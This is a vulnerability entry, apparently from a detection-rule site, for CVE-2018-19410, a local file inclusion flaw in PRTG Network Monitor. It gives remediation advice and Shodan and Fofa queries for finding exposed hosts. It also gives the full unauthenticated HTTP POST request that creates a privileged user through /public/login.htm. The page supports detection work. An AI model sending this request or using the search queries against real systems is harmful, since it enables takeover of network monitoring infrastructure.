🔙 목록으로 돌아가기

CVE-2018-19410: PRTG Network Monitor - Local File Inclusion

TitlePRTG Network Monitor - Local File Inclusion
AuthorDhiyaneshDK
SeverityCritical
ImpactUnauthenticated attackers can create administrator users with full privileges via local file inclusion, leading to complete compromise of the monitoring system and access to network infrastructure.
RemediationUpgrade to PRTG Network Monitor version 18.2.40.1683 or later and ensure the /public directory is properly secured.
CVSS Score9.8
EPSS Score0.91753
CVE IDCVE-2018-19410
Shodan Queryhttp.favicon.hash:"-655683626"http.title:"prtg"
Fofa Queryicon_hash=-655683626title="prtg"
Tags cve cve2018 prtg lfi kev vkev vuln

🔍 Vulnerability Description

PRTG Network Monitor before 18.2.40.1683 allows remote unauthenticated attackers to create users with read-write privileges (including administrator). A remote unauthenticated user can craft an HTTP request and override attributes of the ‘include’ directive in /public/login.htm and perform a Local File Inclusion attack, by including /api/addusers and executing it. By providing the ‘id’ and ‘users’ parameters, an unauthenticated attacker can create a user with read-write privileges (including administrator).

🌐 HTTP Request

POST /public/login.htm?file=/api/addusers.htm HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Connection: close
Content-Length: 19
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: /
Referer: /
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

id=200&users=GTRoBX

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-19410.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-19410.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A